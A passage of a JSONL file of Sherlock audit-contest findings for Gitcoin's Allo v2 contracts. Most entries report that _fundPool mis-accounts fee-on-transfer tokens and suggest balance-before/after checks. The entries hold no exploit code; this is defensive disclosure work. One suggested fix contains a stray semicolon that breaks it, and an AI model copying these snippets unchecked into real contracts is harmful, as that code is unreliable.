rewarded.\n\n## Impact\nIf your `fundPool` doesn't properly support fee-on-transfer, some users may not get rewarded.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L502-L520\n## Tool used\n\nManual Review\n\n## Recommendation\nI recommend passing the actual amount transferred in the `increasePoolAmount` argument, or calling transfer inside the `Strategy` to add the increased balance to the `poolAmount`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/881.md"}} +{"title":"Amount of Funds in pool inconsistent with expected amount","severity":"medium","body":"Tricky Rose Hare\n\nmedium\n\n# Amount of Funds in pool inconsistent with expected amount\n\nThis is just as a result of not accounting for fee on transfer tokens\n\n## Vulnerability Detail\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502C4-L520C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153C4-L157C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559C3-L574C6\n\nThe fees accounted for and the funds actually sent to the pool are different, luckily in this scenario it is not fatal since the custom function have a way to retrieve all funds, but in the case of custom strategyā€™s which profile owners will deploy we canā€™t always make that assumption, thatā€™s why accurate state information on how much the pool currently holds will contribute to secure funds distribution.\n\nThe amount of money currently in the strategy pool and the pool amount are different, the effect of this could actually come up in different way, some of those ways are\n\n## Impact\n\nIf a strategy wanted were to use a system where they have to transfer and distribute all their tokens all at once the, transaction will always revert because the pool does not have the pool amount in which the distribute function will be calling \n\n## Code Snippet\n\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nBefore funding the pool, the fee amount for the protocol is removed and sent to the treasury of the protocol, but when the fee is transfrred to the strategy, which is the amountAfterFee.\n\n```solidity\nfunction increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n }\n```\n\nYou can see that the amount being passed to the poolAmount is the amount that has being subtracted from the fee and the amount might be different from what the pool actually holdss\n\n```solidity\nfunction _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\nin the three custom strategy, i used Qv Startegy as an example here, the pool amount is used as way to subtract the amount to be transffered to the recipients, which might be totally different from the actual balance which the pool actually holds, which may in some situations lead to a revert of transaction if the total fee wants to be moved out.\n\n## Tool used\nFoundry, Hardhat\n\nManual Review\n\n## Recommendation\n\nUsing state that does not correctly represent the state of things in the protocol should be avoided, fee on transfer tokens being used in this protocol, the amount of tokens actually in the pool should be gotten from the pool itself after the token transfer has been successfully completed.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/856.md"}} +{"title":"Incompatibility With Fee-On-Transfer Tokens","severity":"medium","body":"Precise Ceramic Falcon\n\nmedium\n\n# Incompatibility With Fee-On-Transfer Tokens\nThe protocol is incompatible with Fee-On-Transfer tokens.\n## Vulnerability Detail\nIf fee-on-transfer tokens are used to fund a pool, there will be a difference between the actual amount in the pool and the amount in the accounting, the pool will account for a larger amount than it actually has.\n\nAt a later time, if we try to `withdraw()` or `distribute()` the full amount, it will revert since there are actually not that many tokens in the strategy as what the accounting says there are.\n## Impact\nAccounting shows more than actual balance of strategy. The `TREASURY` also receives less fee.\n## Code Snippet\n```javascript\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n## Tool used\nVSCode\nManual Review\n\n## Recommendation\nAdd logic to `transfer/transferFrom` to calculate exactly how many tokens were actually sent to a pool strategy address.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/853.md"}} +{"title":"Allo.sol#_fundPool","severity":"medium","body":"Brilliant Chambray Reindeer\n\nmedium\n\n# Allo.sol#_fundPool\nThe amount with which a user funds the pool is not calculated correctly when using fee-on-transfer tokens. According to the contest details they are in scope. \n## Vulnerability Detail\nLet's see the code of the `_fundPool` function:\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nAs you can see we're increasing the balance of the pool here:\n```solidity\n_strategy.increasePoolAmount(amountAfterFee);\n```\nHowever, the balance won't be increased with the right amount as after the transfer, a fee will be charged if using fee-on-transfer tokens. \n## Impact\nThe internal accounting of the pool will be wrong leading to accounting issues when withdrawing, adding funds, etc. Potentially leading to someone not being able to receive all of the funds they have on paper. \n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L502\n## Tool used\n\nManual Review\n\n## Recommendation\nCalculate the balance before and after the transfer to see the exact amount of tokens that were transferred:\n```solidity\n uint256 balanceBefore = _token.balanceOf(address(_strategy));\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n uint256 amountToAdd = _token.balanceOf(address(_strategy)); - balanceBefore;\n _strategy.increasePoolAmount(amountToAdd);\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/849.md"}} +{"title":"Fee-on-Transfer Tokens Issue in `_fundPool()`","severity":"medium","body":"Mini Fiery Urchin\n\nmedium\n\n# Fee-on-Transfer Tokens Issue in `_fundPool()`\nThe `_fundPool()` method within the provided smart contract does not correctly support fee-on-transfer tokens. When such tokens are used, the `_strategy.increasePoolAmount()` method can potentially receive an inaccurate value due to the fee deductions inherent in the token transfer itself, leading to discrepancies in pool funding.\n\n## Vulnerability Detail\nFee-on-transfer tokens automatically deduct a fee on every transfer. The issue arises when the `_fundPool()` method tries to fund a pool with such a token. The logic calculates and deducts the `feeAmount` and then transfers the `amountAfterFee` to the strategy. However, since the token itself deducts a fee on transfer, the actual amount received by the strategy might be less than `amountAfterFee`. This discrepancy is not accounted for, and as a result, `_strategy.increasePoolAmount()` is called with a potentially incorrect value.\n\n## Impact\nThis can lead to significant discrepancies in the recorded and actual amounts within the strategy.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\n## Tool used\nManual review\n\n## Recommendation\nTo fix this issue:\n\n1. Before the transfer, check the balance of the strategy.\n2. After the transfer, check the balance again to get the actual transferred amount.\n3. Use the actual transferred amount in the `_strategy.increasePoolAmount(`) method.\nHere's the adjusted snippet:\n```solidity\nuint256 strategyBalanceBefore = IERC20(_token).balanceOf(address(_strategy));\n\n_transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n\nuint256 strategyBalanceAfter = IERC20(_token).balanceOf(address(_strategy));\nuint256 actualTransferredAmount = strategyBalanceAfter - strategyBalanceBefore;\n\n_strategy.increasePoolAmount(actualTransferredAmount);\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/841.md"}} +{"title":"Protocol accounts incorrect amount in the distribution strategy for fee on transfer tokens","severity":"medium","body":"Delightful Topaz Penguin\n\nmedium\n\n# Protocol accounts incorrect amount in the distribution strategy for fee on transfer tokens\nProtocol accounts incorrect amount in the distribution strategy for fee on transfer tokens\n\n## Vulnerability Detail\n\nWhenever fund send to pool while creating the pool or after creating pool it transfer the funds into `strategy` and update the balance via `_strategy.increasePoolAmount(amountAfterFee)` at Line Number [517](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L517).\n\nit works perfectly for the normal ERC20 tokens but if the token is fee on transfer token then it updates more than transfer tokens to the distribution strategy contract. which will give the accounting issue and break the pool functions at many places\n\nA internal function `_fundPool()` is called whenever funds send to the pool by `fundPool()` or during creating the pool\n```solidity\nFile: contracts/core/Allo.sol\n502 function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);//@audit-issue more than transfer tokens has been incremented\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n520 }\n```\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L517\n\nAs fee on transfer tokens deducts fee from the transferring amount so after deducting fees transfer amount will be less than `amountAfterFee` but in strategy contract more than transfer amount has been incremented \n## Impact\nDistribution pool will have accountancy issue and there will less balance than it accounts. which can break many invariants for fee on transfer tokens.\nFee on transfer tokens has been implemented perfectly \n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L517\n\n## Tool used\n\nManual Review\n\n## Recommendation\ncheck balance before and after transferring tokens and then update the balance with actual `after-before` not with `amountAfterFee` and check other places where transferring tokens update incorrect balance for fee on transfer tokens","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/837.md"}} +{"title":"The protocol doesn't have support for fee-on-transfer types of ERC20 tokens","severity":"medium","body":"Rich Ultraviolet Hyena\n\nmedium\n\n# The protocol doesn't have support for fee-on-transfer types of ERC20 tokens\n\nThe protocol explicitly mentions that it will use\n\n> \tQ: Are there any FEE-ON-TRANSFER tokens interacting with the smart contracts?\n> - Yes. When funding a pool on Allo.sol\n\nBut funding a pool on `Allo.sol` doesn't have support for fee-on-transfer types of ERC20 tokens.\n## Vulnerability Detail\n\nIn `Allo.sol` we have `_fundPool()` function:\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal { Ā \nĀ  Ā  Ā  Ā  uint256 feeAmount;\nĀ  Ā  Ā  Ā  uint256 amountAfterFee = _amount;\n\nĀ  Ā  Ā  Ā  Pool storage pool = pools[_poolId];\nĀ  Ā  Ā  Ā  address _token = pool.token;\n\nĀ  Ā  Ā  Ā  if (percentFee > 0) {\nĀ  Ā  Ā  Ā  Ā  Ā  feeAmount = (_amount * percentFee) / getFeeDenominator();\nĀ  Ā  Ā  Ā  Ā  Ā  amountAfterFee -= feeAmount;\n\nĀ  Ā  Ā  Ā  Ā  Ā  _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\nĀ  Ā  Ā  Ā  }\n \nĀ  Ā  Ā  Ā  _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\nĀ  Ā  Ā  Ā  _strategy.increasePoolAmount(amountAfterFee);\n\nĀ  Ā  Ā  Ā  emit PoolFunded(_poolId, amountAfterFee, feeAmount);\nĀ  Ā  }\n```\n\nThe function clearly shows that the only fees that are taken are those that the protocol takes as a fee.\n\nWe can also look at the `_transferAmountFrom()` function:\n```solidity\nfunction _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\nĀ  Ā  Ā  Ā  uint256 amount = _transferData.amount;\nĀ  Ā  Ā  Ā  if (_token == NATIVE) {\nĀ  Ā  Ā  Ā  Ā  Ā  // Native Token\nĀ  Ā  Ā  Ā  Ā  Ā  if (msg.value < amount) revert AMOUNT_MISMATCH();\n\nĀ  Ā  Ā  Ā  Ā  Ā  SafeTransferLib.safeTransferETH(_transferData.to, amount);\nĀ  Ā  Ā  Ā  } else {\nĀ  Ā  Ā  Ā  Ā  Ā  SafeTransferLib.safeTransferFrom(_token, _transferData.from, _transferData.to, amount);\nĀ  Ā  Ā  Ā  }\nĀ  Ā  Ā  Ā  return true;\nĀ  Ā  }\n```\n\nŠ¢here is also a lack of support for fee-on-transfer type of ERC20 tokens\n## Impact\n\nThe transferred amount isn't exactly what the receiver will get.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L496-L520\n## Tool used\n\nManual Review\n\n## Recommendation\nImprove support for a fee on transfer type of ERC20. When pulling funds from the user using `safeTransferFrom()` the usual approach is to compare balances pre/post transfer.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/836.md"}} +{"title":"funding pools with Fee-on-Transfer will lead to an incorrect increase in poolAmount value","severity":"medium","body":"Helpful Bubblegum Spider\n\nhigh\n\n# funding pools with Fee-on-Transfer will lead to an incorrect increase in poolAmount value\nfunding pools with Fee-on-Transfer will lead to an incorrect increase in poolAmount value\n\n## Vulnerability Detail\nanyone that calls Allo#fundPool() specifies an amount that will be transferred into the contract:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339\n```solidity\n function fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // if amount is 0, revert with 'NOT_ENOUGH_FUNDS()' error\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n\n // Call the internal fundPool() function\n _fundPool(_amount, _poolId, pools[_poolId].strategy);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee); // @audit poolAmount will be increased by an incorrect amount for feeontransfer tokens\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nThe problem is that the poolAmount will be increased without accounting for the Fee of fee-on-Transfer tokens:\nBaseStrategy#increasePoolAmount()\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153\n```solidity\n function increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n }\n```\n\nThe _transferAmountFrom call will transfer amountAfterFee of token to the strategy but the strategy will not receive that many tokens because of the fee on transfer.\n\n## Impact\n\nThere will be a difference in the poolAmount and the actual token amount held by the contract.\nThis will have unwanted consequences depending on the strategy.\nFor example QVBaseStrategy calculates the payout with poolAmount:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559\n```solidity\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes; // @audit here\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\n\nThis function is called when distributing tokens, if there is less tokens in the contract than expected this will lead to incorrect amounts being distributed:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L448\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339\n## Tool used\n\nManual Review\n\n## Recommendation\ndisallow fee-on-transfer tokens or adjust the code to increase the poolAmount correctly","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/827.md"}} +{"title":"The protocol doesn't work as expected with fee-on-transfer tokens","severity":"medium","body":"Energetic Berry Llama\n\nmedium\n\n# The protocol doesn't work as expected with fee-on-transfer tokens\nThe protocol doesn't work as expected with fee-on-transfer tokens\n\n## Vulnerability Detail\nThis protocol is expected to work with every token and it is specifically stated that the fee-on-tokens are going to be used when funding a pool on `Allo.sol`.\n\n`Allo::_fundPool()` function transfers the tokens from the `msg.sender` to the matching `strategy` contract using the Transfer library and then calls the `strategy.increasePoolAmount()` function.\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516C1-L517C54](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516C1-L517C54)\n\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n--> _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee})); //@audit The actual transferred amount is (amountAfterFee - feeOnTransferTokenTransferFee)\n--> _strategy.increasePoolAmount(amountAfterFee); //@audit this will update the poolAmount state variable in the strategy contract with the amountAfterFee. \n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\n`strategy.increasePoolAmount(amountAfterFee)` function will update the `poolAmount` state variable with the inputted `amountAfterFee`. But unfortunately, that `amountAfterFee` and the actual transferred amount are not the same when working with fee-on-transfer tokens.\n\nFee-on-transfer tokens take extra fees on every transfer the actual transferred amounts are less than the inputted amount. In the function above, the actual amount transferred to the strategy contract will be `amountAfterFee - feeOnTransferTokenTransferFee`\n\nThis situation will create a mismatch between strategy contract balances and the `poolAmount` state variable, which may cause some disruptions when distributing the funds.\n\n## Impact\nActual balance of the pool and the \"balance on-paper\" (`poolAmount`) will be different and this will cause disruptions when distributing the funds.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516C1-L517C54\n\n```solidity\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nI would recommend checking the actual transferred amount and the balance of the strategy contracts when using fee-on-transfer tokens.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/824.md"}} +{"title":"Using tokens with a transfer fee may result in the loss of funds of recent users","severity":"medium","body":"Unique Wooden Dragonfly\n\nmedium\n\n# Using tokens with a transfer fee may result in the loss of funds of recent users\nThe Allo._fundPool() function calculates the number of tokens that will go to the pool account after deducting the commission:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502C5-L520\n\nAfter deducting the commission, amountAfterFee is sent to the _strategy address:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517\n_transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n\nIn this case, the _strategy.increasePoolAmount() function is called, which increases the variable to count the number of tokens at the strategy address:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153-L157\nfunction increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n}\n\nHowever, there are tokens that have a transfer fee: https://github.com/d-xo/weird-erc20#fee-on-transfer.\nIf a token with a transfer fee is used as _tokens, this will result in the strategy address receiving fewer tokens than amountAfterFee.\n\nIn the future, when sending tokens, the last users will not receive tokens.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153-L157\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIn strategy contracts, check the balance before tokens are credited to the balance and after. The difference is added to poolAmount.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/823.md"}} +{"title":"Lack of Support for Fee-on-Transfer Tokens","severity":"medium","body":"Fierce Pearl Falcon\n\nmedium\n\n# Lack of Support for Fee-on-Transfer Tokens\n\nFee-on-transfer tokens will result in incorrect calculations when interacting with the contract.\n\n## Vulnerability Detail\n\nThe protocol claims to support all types of ERC20 tokens, including those that implement a fee-on-transfer mechanism.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/README.md#L26-L28\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/README.md#L90-L91\n\nHowever, the existing functions are not equipped to handle these fee-on-transfer tokens correctly. This issue can disrupt operations tied to token transfers, particularly when the received amount is less than the amount sent due to applied fees. For instance, when users attempt to fund a pool, the contract records the incoming amount without accounting for the deducted fees.\n\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\nThis leads to inaccurate calculations for both the pool's total amount and the Allo protocol fees. Moreover, it adversely impacts subsequent distributions, which rely on the flawed pool amount for calculations.\n\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n\nPlease see here for list of fee-on-transfer tokens: https://github.com/d-xo/weird-erc20#fee-on-transfer\n\n## Impact\n\nThis issue can cause discrepancies in the amount received and distributed to users, leading to inaccurate token operations.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCalculate the actual received amount by measuring the balance difference before and after the transfer.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/788.md"}} +{"title":"Fee on transfer tokens are not supported","severity":"medium","body":"Shaggy Obsidian Rooster\n\nmedium\n\n# Fee on transfer tokens are not supported\nFee on transfer tokens are not supported \n## Vulnerability Detail\nWhen transferring tokens, and if the tokens is with fee on transfer the last user will not receive his money, because of a revert\n## Impact\nLoss of funds for users\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L790\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L793\n## Tool used\n\nManual Review\n\n## Recommendation\nYou should cache the balance before a transferFrom to the contract and then check it after the transfer and use the difference between them as the newly added balance. Another fix is to just document and announce you do not support tokens that can have a fee-on-transfer mechanism.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/778.md"}} +{"title":"Pools will fail to handle fee-on-transfer token accounting accurately","severity":"medium","body":"Suave Cider Seahorse\n\nmedium\n\n# Pools will fail to handle fee-on-transfer token accounting accurately\nPools will fail to handle fee-on-transfer tokens accurately . Fee-on-transfer tokens deducts a fee while transferring . That's why actual amount received is smaller than amount sent . \nHowever , `BaseStrategy.sol` fails to handle the accounting properly . \n\n## Vulnerability Detail\n Increased `poolAmount ` amount will be greater than the actual pool amount . This will cause accounting issues . \n```solidity \nfunction increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n }\n```\n## Impact\nAccounting issue . \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153\n## Tool used\n\nManual Review\n\n## Recommendation\nDefine specific logics to handle fee-on-transfer token accounting properly .","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/773.md"}} +{"title":"Funding a pool on `Allo.sol` would not be compatible and accurate with Fee-on-transfer tokens","severity":"medium","body":"Cheery Cedar Gecko\n\nmedium\n\n# Funding a pool on `Allo.sol` would not be compatible and accurate with Fee-on-transfer tokens\nIt is stated in the ReadMe file that it is expected for Fee-on-Transfer tokens to be able to interact with the protocol when funding a pool, but that is not true, which will make the balances of the pools inaccurate.\n## Vulnerability Detail\nAs can be seen in the context Q&A of the protocol it is stated that Fee-on-transfer tokens should be able to interact with the protocol when funding pools\n![image](https://github.com/sherlock-audit/2023-09-Gitcoin-VagnerAndrei26/assets/111457602/c06241a5-b53a-4f75-98cb-8817bdca6699)\nbut that is not really the case.\nWhen `_fundPool` is called to fund a specific pool the `amountAfterFee` gets transferred \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516\nand then the `increasePoolAmount` is called on the strategy with the same `amountAfterFee`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517\nwhich will increase the `poolAmount` variable on the 